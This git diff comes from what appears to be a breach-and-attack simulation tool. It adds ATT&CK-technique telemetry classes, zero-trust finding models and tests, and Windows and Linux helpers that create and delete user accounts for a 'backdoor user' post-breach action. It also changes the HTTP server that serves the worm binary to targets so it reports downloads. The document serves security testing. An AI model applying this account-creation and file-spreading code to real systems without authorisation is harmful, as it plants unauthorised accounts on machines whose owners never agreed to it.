@@ -0,0 +1,11 @@ +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +class T1106Telem(UsageTelem): + def __init__(self, status, usage): + """ + T1106 telemetry. + :param status: ScanStatus of technique + :param usage: Enum name of UsageEnum + """ + super(T1106Telem, self).__init__("T1106", status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py new file mode 100644 index 000000000..ffb69b698 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1107Telem(AttackTelem): + def __init__(self, status, path): + """ + T1107 telemetry. + :param status: ScanStatus of technique + :param path: Path of deleted dir/file + """ + super(T1107Telem, self).__init__('T1107', status) + self.path = path + + def get_data(self): + data = super(T1107Telem, self).get_data() + data.update({ + 'path': self.path + }) + return data diff --git a/monkey/infection_monkey/telemetry/attack/t1129_telem.py b/monkey/infection_monkey/telemetry/attack/t1129_telem.py new file mode 100644 index 000000000..4e7a12ce8 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1129_telem.py @@ -0,0 +1,11 @@ +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +class T1129Telem(UsageTelem): + def __init__(self, status, usage): + """ + T1129 telemetry. + :param status: ScanStatus of technique + :param usage: Enum of UsageEnum type + """ + super(T1129Telem, self).__init__("T1129", status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py new file mode 100644 index 000000000..4708c230a --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py @@ -0,0 +1,20 @@ +from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem + + +class T1222Telem(VictimHostTelem): + def __init__(self, status, command, machine): + """ + T1222 telemetry. + :param status: ScanStatus of technique + :param command: command used to change permissions + :param machine: VictimHost type object + """ + super(T1222Telem, self).__init__('T1222', status, machine) + self.command = command + + def get_data(self): + data = super(T1222Telem, self).get_data() + data.update({ + 'command': self.command + }) + return data diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py new file mode 100644 index 000000000..4b47d8be3 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -0,0 +1,20 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class UsageTelem(AttackTelem): + + def __init__(self, technique, status, usage): + """ + :param technique: Id of technique + :param status: ScanStatus of technique + :param usage: Enum of UsageEnum type + """ + super(UsageTelem, self).__init__(technique, status) + self.usage = usage.name + + def get_data(self): + data = super(UsageTelem, self).get_data() + data.update({ + 'usage': self.usage + }) + return data diff --git a/monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py similarity index 100% rename from monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py rename to monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py index db0673f9d..c83438b07 100644 --- a/monkey/infection_monkey/telemetry/base_telem.py +++ b/monkey/infection_monkey/telemetry/base_telem.py @@ -1,7 +1,11 @@ import abc +import json +import logging from infection_monkey.control import ControlClient +logger = logging.getLogger(__name__) + __author__ = 'itay.mizeretz' @@ -17,7 +21,9 @@ class BaseTelem(object, metaclass=abc.ABCMeta): """ Sends telemetry to island """ - ControlClient.send_telemetry(self.telem_category, self.get_data()) + data = self.get_data() + logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data))) + ControlClient.send_telemetry(self.telem_category, data) @abc.abstractproperty def telem_category(self): diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 16e92919f..8da49f637 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -1,22 +1,22 @@ -import http.server +import BaseHTTPServer import os.path import select import socket import threading -import urllib.request, urllib.parse, urllib.error +import urllib from logging import getLogger -from urllib.parse import urlsplit -from threading import Lock +from urlparse import urlsplit import infection_monkey.monkeyfs as monkeyfs from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time +from infection_monkey.exploit.tools.helpers import get_interface_to_target __author__ = 'hoffer' LOG = getLogger(__name__) -class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): +class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" filename = "" @@ -61,7 +61,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): f.close() def send_head(self): - if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)): + if self.path != '/' + urllib.quote(os.path.basename(self.filename)): self.send_error(500, "") return None, 0, 0 f = None @@ -106,7 +106,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): format % args)) -class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): +class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler): timeout = 30 # timeout with clients, set to None not to make persistent connection proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header protocol_version = "HTTP/1.1" @@ -165,17 +165,24 @@ class HTTPServer(threading.Thread): def run(self): class TempHandler(FileServHTTPRequestHandler): + from common.utils.attack_utils import ScanStatus + from infection_monkey.telemetry.attack.t1105_telem import T1105Telem + filename = self._filename @staticmethod def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) + TempHandler.T1105Telem(TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True return False - httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler) + httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) httpd.timeout = 0.5 # this is irrelevant? while not self._stopped and self.downloads < self.max_downloads: @@ -212,17 +219,23 @@ class LockedHTTPServer(threading.Thread): def run(self): class TempHandler(FileServHTTPRequestHandler): + from common.utils.attack_utils import ScanStatus + from infection_monkey.telemetry.attack.t1105_telem import T1105Telem filename = self._filename @staticmethod def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) + TempHandler.T1105Telem(TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True return False - httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler) + httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) self.lock.release() while not self._stopped and self.downloads < self.max_downloads: httpd.handle_request() @@ -236,7 +249,7 @@ class LockedHTTPServer(threading.Thread): class HTTPConnectProxy(TransportProxyBase): def run(self): - httpd = http.server.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler) + httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler) httpd.timeout = 30 while not self._stopped: httpd.handle_request() diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 999f4d7fc..722dea50e 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -9,7 +9,7 @@ from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import local_ips, get_free_tcp_port from infection_monkey.network.tools import check_tcp_port from infection_monkey.transport.base import get_last_serve_time -from infection_monkey.exploit.tools import get_interface_to_target +from infection_monkey.exploit.tools.helpers import get_interface_to_target __author__ = 'hoffer' diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py deleted file mode 100644 index 6eb3aefb5..000000000 --- a/monkey/infection_monkey/utils.py +++ /dev/null @@ -1,57 +0,0 @@ -import os -import shutil -import struct -import sys -import tempfile - -from infection_monkey.config import WormConfiguration - - -def get_monkey_log_path(): - return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \ - else WormConfiguration.monkey_log_path_linux - - -def get_dropper_log_path(): - return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ - else WormConfiguration.dropper_log_path_linux - - -def is_64bit_windows_os(): - """ - Checks for 64 bit Windows OS using environment variables. - """ - return 'PROGRAMFILES(X86)' in os.environ - - -def is_64bit_python(): - return struct.calcsize("P") == 8 - - -def is_windows_os(): - return sys.platform.startswith("win") - - -def utf_to_ascii(string): - # Converts utf string to ascii. Safe to use even if string is already ascii. - udata = string.decode("utf-8") - return udata.encode("ascii", "ignore") - - -def create_monkey_dir(): - """ - Creates directory for monkey and related files - """ - if not os.path.exists(get_monkey_dir_path()): - os.mkdir(get_monkey_dir_path()) - - -def remove_monkey_dir(): - """ - Removes monkey's root directory - """ - shutil.rmtree(get_monkey_dir_path(), ignore_errors=True) - - -def get_monkey_dir_path(): - return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name) diff --git a/monkey/infection_monkey/utils/__init__.py b/monkey/infection_monkey/utils/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/utils/environment.py b/monkey/infection_monkey/utils/environment.py new file mode 100644 index 000000000..40a70ce58 --- /dev/null +++ b/monkey/infection_monkey/utils/environment.py @@ -0,0 +1,18 @@ +import os +import struct +import sys + + +def is_64bit_windows_os(): + """ + Checks for 64 bit Windows OS using environment variables. + """ + return 'PROGRAMFILES(X86)' in os.environ + + +def is_64bit_python(): + return struct.calcsize("P") == 8 + + +def is_windows_os(): + return sys.platform.startswith("win") diff --git a/monkey/infection_monkey/utils/linux/__init__.py b/monkey/infection_monkey/utils/linux/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py new file mode 100644 index 000000000..1acc87d72 --- /dev/null +++ b/monkey/infection_monkey/utils/linux/users.py @@ -0,0 +1,21 @@ +import datetime + + +def get_linux_commands_to_add_user(username): + return [ + 'useradd', + '-M', # Do not create homedir + '--expiredate', + datetime.datetime.today().strftime('%Y-%m-%d'), + '--inactive', + '0', + '-c', # Comment + 'MONKEY_USER', # Comment + username] + + +def get_linux_commands_to_delete_user(username): + return [ + 'deluser', + username + ] diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py new file mode 100644 index 000000000..bb69dae5b --- /dev/null +++ b/monkey/infection_monkey/utils/monkey_dir.py @@ -0,0 +1,29 @@ +import os +import shutil +import tempfile + +from infection_monkey.config import WormConfiguration + + +def create_monkey_dir(): + """ + Creates directory for monkey and related files + """ + if not os.path.exists(get_monkey_dir_path()): + os.mkdir(get_monkey_dir_path()) + + +def remove_monkey_dir(): + """ + Removes monkey's root directory + :return True if removed without errors and False otherwise + """ + try: + shutil.rmtree(get_monkey_dir_path()) + return True + except Exception: + return False + + +def get_monkey_dir_path(): + return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name) diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py new file mode 100644 index 000000000..ad80bc73d --- /dev/null +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -0,0 +1,14 @@ +import os +import sys + +from infection_monkey.config import WormConfiguration + + +def get_monkey_log_path(): + return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \ + else WormConfiguration.monkey_log_path_linux + + +def get_dropper_log_path(): + return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ + else WormConfiguration.dropper_log_path_linux diff --git a/monkey/infection_monkey/utils/users.py b/monkey/infection_monkey/utils/users.py new file mode 100644 index 000000000..68148d9e9 --- /dev/null +++ b/monkey/infection_monkey/utils/users.py @@ -0,0 +1,10 @@ +from infection_monkey.utils.linux.users import get_linux_commands_to_add_user +from infection_monkey.utils.windows.users import get_windows_commands_to_add_user + + +def get_commands_to_add_user(username, password): + linux_cmds = get_linux_commands_to_add_user(username) + windows_cmds = get_windows_commands_to_add_user(username, password) + return linux_cmds, windows_cmds + + diff --git a/monkey/infection_monkey/utils/windows/__init__.py b/monkey/infection_monkey/utils/windows/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/utils/windows/auto_new_user.py b/monkey/infection_monkey/utils/windows/auto_new_user.py new file mode 100644 index 000000000..d95ac0bf0 --- /dev/null +++ b/monkey/infection_monkey/utils/windows/auto_new_user.py @@ -0,0 +1,69 @@ +import logging +import subprocess + +from infection_monkey.post_breach.actions.add_user import BackdoorUser +from infection_monkey.utils.windows.users import get_windows_commands_to_delete_user, get_windows_commands_to_add_user + +logger = logging.getLogger(__name__) + + +class NewUserError(Exception): + pass + + +class AutoNewUser(object): + """ + RAII object to use for creating and using a new user in Windows. Use with `with`. + User will be created when the instance is instantiated. + User will log on at the start of the `with` scope. + User will log off and get deleted at the end of said `with` scope. + + Example: + # Created # Logged on + with AutoNewUser("user", "pass") as new_user: + ... + ... + # Logged off and deleted + ... + """ + def __init__(self, username, password): + """ + Creates a user with the username + password. + :raises: subprocess.CalledProcessError if failed to add the user. + """ + self.username = username + self.password = password + + windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True) + _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) + + def __enter__(self): + # Importing these only on windows, as they won't exist on linux. + import win32security + import win32con + + try: + # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera + self.logon_handle = win32security.LogonUser( + self.username, + ".", # Use current domain. + self.password, + win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user). + win32con.LOGON32_PROVIDER_DEFAULT) # Which logon provider to use - whatever Windows offers. + except Exception as err: + raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err))) + return self + + def get_logon_handle(self): + return self.logon_handle + + def __exit__(self, exc_type, exc_val, exc_tb): + # Logoff + self.logon_handle.Close() + + # Try to delete user + try: + _ = subprocess.Popen( + get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True) + except Exception as err: + raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py new file mode 100644 index 000000000..0e6847cff --- /dev/null +++ b/monkey/infection_monkey/utils/windows/users.py @@ -0,0 +1,18 @@ +def get_windows_commands_to_add_user(username, password, should_be_active=False): + windows_cmds = [ + 'net', + 'user', + username, + password, + '/add'] + if not should_be_active: + windows_cmds.append('/ACTIVE:NO') + return windows_cmds + + +def get_windows_commands_to_delete_user(username): + return [ + 'net', + 'user', + username, + '/delete'] diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index a79d38490..af904b143 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -8,9 +8,9 @@ import time import infection_monkey.monkeyfs as monkeyfs from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient -from infection_monkey.exploit.tools import build_monkey_commandline_explicitly +from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS -from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python +from infection_monkey.utils.environment import is_windows_os, is_64bit_windows_os, is_64bit_python __author__ = 'itay.mizeretz' diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index c6ad585df..347138a58 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -23,7 +23,7 @@ from monkey_island.cc.resources.monkey_download import MonkeyDownload from monkey_island.cc.resources.netmap import NetMap from monkey_island.cc.resources.node import Node from monkey_island.cc.resources.remote_run import RemoteRun -from monkey_island.cc.resources.report import Report +from monkey_island.cc.resources.reporting.report import Report from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed @@ -122,7 +122,13 @@ def init_api_resources(api): api.add_resource(NetMap, '/api/netmap', '/api/netmap/') api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/') api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') - api.add_resource(Report, '/api/report', '/api/report/') + + # report_type: zero_trust or security + api.add_resource( + Report, + '/api/report/', + '/api/report//') + api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') diff --git a/monkey/monkey_island/cc/environment/testing.py b/monkey/monkey_island/cc/environment/testing.py index 286e442dd..087c3a2e3 100644 --- a/monkey/monkey_island/cc/environment/testing.py +++ b/monkey/monkey_island/cc/environment/testing.py @@ -1,5 +1,4 @@ from monkey_island.cc.environment import Environment -import monkey_island.cc.auth class TestingEnvironment(Environment): @@ -7,11 +6,5 @@ class TestingEnvironment(Environment): super(TestingEnvironment, self).__init__() self.testing = True - # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' - NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \ - '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557' - def get_auth_users(self): - return [ - monkey_island.cc.auth.User(1, self.NO_AUTH_CREDS, self.NO_AUTH_CREDS) - ] + return [] diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index d23d57411..2b2193af6 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -19,7 +19,7 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla logger = logging.getLogger(__name__) from monkey_island.cc.app import init_app -from monkey_island.cc.exporter_init import populate_exporter_list +from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.environment.environment import env from monkey_island.cc.database import is_db_server_up, get_db_version diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 105866937..58e950914 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -12,8 +12,9 @@ else: connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port) # Order of importing matters here, for registering the embedded and referenced documents before using them. -from .config import Config -from .creds import Creds -from .monkey_ttl import MonkeyTtl -from .pba_results import PbaResults -from .monkey import Monkey +from config import Config +from creds import Creds +from monkey_ttl import MonkeyTtl +from pba_results import PbaResults +from command_control_channel import CommandControlChannel +from monkey import Monkey diff --git a/monkey/monkey_island/cc/models/command_control_channel.py b/monkey/monkey_island/cc/models/command_control_channel.py new file mode 100644 index 000000000..3aefef455 --- /dev/null +++ b/monkey/monkey_island/cc/models/command_control_channel.py @@ -0,0 +1,11 @@ +from mongoengine import EmbeddedDocument, StringField + + +class CommandControlChannel(EmbeddedDocument): + """ + This value describes command and control channel monkey used in communication + src - Monkey Island's IP + dst - Monkey's IP (in case of a proxy chain this is the IP of the last monkey) + """ + src = StringField() + dst = StringField() diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index f1bd12905..c0eeb20b3 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -6,6 +6,7 @@ from mongoengine import Document, StringField, ListField, BooleanField, Embedded from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS +from monkey_island.cc.models.command_control_channel import CommandControlChannel class Monkey(Document): @@ -36,6 +37,9 @@ class Monkey(Document): pba_results = ListField() ttl_ref = ReferenceField(MonkeyTtl) tunnel = ReferenceField("self") + command_control_channel = EmbeddedDocumentField(CommandControlChannel) + aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS + # instance. See https://github.com/guardicore/monkey/issues/426. # LOGIC @staticmethod @@ -80,6 +84,17 @@ class Monkey(Document): os = "windows" return os + def get_network_info(self): + """ + Formats network info from monkey's model + :return: dictionary with an array of IP's and a hostname + """ + return {'ips': self.ip_addresses, 'hostname': self.hostname} + + @staticmethod + def get_tunneled_monkeys(): + return Monkey.objects(tunnel__exists=True) + def renew_ttl(self, duration=DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS): self.ttl_ref = create_monkey_ttl_document(duration) self.save() diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/monkey_test.py similarity index 65% rename from monkey/monkey_island/cc/models/test_monkey.py rename to monkey/monkey_island/cc/models/monkey_test.py index 37a71cfef..6115386ea 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/monkey_test.py @@ -1,19 +1,19 @@ import uuid from time import sleep -from .monkey import Monkey +from monkey import Monkey from monkey_island.cc.models.monkey import MonkeyNotFoundError from monkey_island.cc.testing.IslandTestCase import IslandTestCase -from .monkey_ttl import MonkeyTtl +from monkey_ttl import MonkeyTtl class TestMonkey(IslandTestCase): """ - Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and + Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and won't work. Also, the working directory needs to be the working directory from which you usually run the island so the - server.json file is found and loaded. + server_config.json file is found and loaded. """ def test_is_dead(self): @@ -87,6 +87,28 @@ class TestMonkey(IslandTestCase): windows_monkey.save() unknown_monkey.save() - self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "windows"])) - self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "linux"])) - self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "unknown"])) + self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects()))) + self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects()))) + self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects()))) + + def test_get_tunneled_monkeys(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + linux_monkey = Monkey(guid=str(uuid.uuid4()), + description="Linux shay-Virtual-Machine") + windows_monkey = Monkey(guid=str(uuid.uuid4()), + description="Windows bla bla bla", + tunnel=linux_monkey) + unknown_monkey = Monkey(guid=str(uuid.uuid4()), + description="bla bla bla", + tunnel=windows_monkey) + linux_monkey.save() + windows_monkey.save() + unknown_monkey.save() + tunneled_monkeys = Monkey.get_tunneled_monkeys() + test = bool(windows_monkey in tunneled_monkeys + and unknown_monkey in tunneled_monkeys + and linux_monkey not in tunneled_monkeys + and len(tunneled_monkeys) == 2) + self.assertTrue(test, "Tunneling test") diff --git a/monkey/monkey_island/cc/models/zero_trust/__init__.py b/monkey/monkey_island/cc/models/zero_trust/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py new file mode 100644 index 000000000..c3ed52649 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py @@ -0,0 +1,32 @@ +from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY +from monkey_island.cc.models.zero_trust.finding import Finding + + +class AggregateFinding(Finding): + @staticmethod + def create_or_add_to_existing(test, status, events): + """ + Create a new finding or add the events to an existing one if it's the same (same meaning same status and same + test). + + :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not + when this function should be used. + """ + existing_findings = Finding.objects(test=test, status=status) + assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) + + if len(existing_findings) == 0: + Finding.save_finding(test, status, events) + else: + # Now we know for sure this is the only one + orig_finding = existing_findings[0] + orig_finding.add_events(events) + orig_finding.save() + + +def add_malicious_activity_to_timeline(events): + AggregateFinding.create_or_add_to_existing( + test=TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=STATUS_VERIFY, + events=events + ) diff --git a/monkey/monkey_island/cc/models/zero_trust/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py new file mode 100644 index 000000000..6ad728d66 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/event.py @@ -0,0 +1,36 @@ +from datetime import datetime + +from mongoengine import EmbeddedDocument, DateTimeField, StringField + +from common.data.zero_trust_consts import EVENT_TYPES + + +class Event(EmbeddedDocument): + """ + This model represents a single event within a Finding (it is an EmbeddedDocument within Finding). It is meant to + hold a detail of the Finding. + + This class has 2 main section: + * The schema section defines the DB fields in the document. This is the data of the object. + * The logic section defines complex questions we can ask about a single document which are asked multiple + times, or complex action we will perform - somewhat like an API. + """ + # SCHEMA + timestamp = DateTimeField(required=True) + title = StringField(required=True) + message = StringField() + event_type = StringField(required=True, choices=EVENT_TYPES) + + # LOGIC + @staticmethod + def create_event(title, message, event_type, timestamp=datetime.now()): + event = Event( + timestamp=timestamp, + title=title, + message=message, + event_type=event_type + ) + + event.validate(clean=True) + + return event diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py new file mode 100644 index 000000000..df4eb12f7 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -0,0 +1,60 @@ +# coding=utf-8 +""" +Define a Document Schema for Zero Trust findings. +""" + +from mongoengine import Document, StringField, EmbeddedDocumentListField + +from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, TEST_EXPLANATION_KEY, PILLARS_KEY +# Dummy import for mongoengine. +# noinspection PyUnresolvedReferences +from monkey_island.cc.models.zero_trust.event import Event + + +class Finding(Document): + """ + This model represents a Zero-Trust finding: A result of a test the monkey/island might perform to see if a + specific principle of zero trust is upheld or broken. + + Findings might have the following statuses: + Failed ❌ + Meaning that we are sure that something is wrong (example: segmentation issue). + Verify ⁉ + Meaning that we need the user to check something himself (example: 2FA logs, AV missing). + Passed ✔ + Meaning that we are sure that something is correct (example: Monkey failed exploiting). + + This class has 2 main section: + * The schema section defines the DB fields in the document. This is the data of the object. + * The logic section defines complex questions we can ask about a single document which are asked multiple + times, or complex action we will perform - somewhat like an API. + """ + # SCHEMA + test = StringField(required=True, choices=TESTS) + status = StringField(required=True, choices=ORDERED_TEST_STATUSES) + events = EmbeddedDocumentListField(document_type=Event) + # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance + meta = {'allow_inheritance': True} + + # LOGIC + def get_test_explanation(self): + return TESTS_MAP[self.test][TEST_EXPLANATION_KEY] + + def get_pillars(self): + return TESTS_MAP[self.test][PILLARS_KEY] + + # Creation methods + @staticmethod + def save_finding(test, status, events): + finding = Finding( + test=test, + status=status, + events=events) + + finding.save() + + return finding + + def add_events(self, events): + # type: (list) -> None + self.events.extend(events) diff --git a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py new file mode 100644 index 000000000..32a450f57 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py @@ -0,0 +1,50 @@ +from mongoengine import StringField + +from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_FAILED, STATUS_PASSED +from monkey_island.cc.models.zero_trust.finding import Finding + + +def need_to_overwrite_status(saved_status, new_status): + return (saved_status == STATUS_PASSED) and (new_status == STATUS_FAILED) + + +class SegmentationFinding(Finding): + first_subnet = StringField() + second_subnet = StringField() + + @staticmethod + def create_or_add_to_existing_finding(subnets, status, segmentation_event): + """ + Creates a segmentation finding. If a segmentation finding with the relevant subnets already exists, adds the + event to the existing finding, and the "worst" status is chosen (i.e. if the existing one is "Failed" it will + remain so). + + :param subnets: the 2 subnets of this finding. + :param status: STATUS_PASSED or STATUS_FAILED + :param segmentation_event: The specific event + """ + assert len(subnets) == 2 + + # Sort them so A -> B and B -> A segmentation findings will be the same one. + subnets.sort() + + existing_findings = SegmentationFinding.objects(first_subnet=subnets[0], second_subnet=subnets[1]) + + if len(existing_findings) == 0: + # No finding exists - create. + new_finding = SegmentationFinding( + first_subnet=subnets[0], + second_subnet=subnets[1], + test=TEST_SEGMENTATION, + status=status, + events=[segmentation_event] + ) + new_finding.save() + else: + # A finding exists (should be one). Add the event to it. + assert len(existing_findings) == 1 + existing_finding = existing_findings[0] + existing_finding.events.append(segmentation_event) + if need_to_overwrite_status(existing_finding.status, status): + existing_finding.status = status + existing_finding.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py new file mode 100644 index 000000000..c1a94166f --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py @@ -0,0 +1,53 @@ +from common.data.zero_trust_consts import * +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestAggregateFinding(IslandTestCase): + def test_create_or_add_to_existing(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + test = TEST_MALICIOUS_ACTIVITY_TIMELINE + status = STATUS_VERIFY + events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)] + self.assertEquals(len(Finding.objects(test=test, status=status)), 0) + + AggregateFinding.create_or_add_to_existing(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + 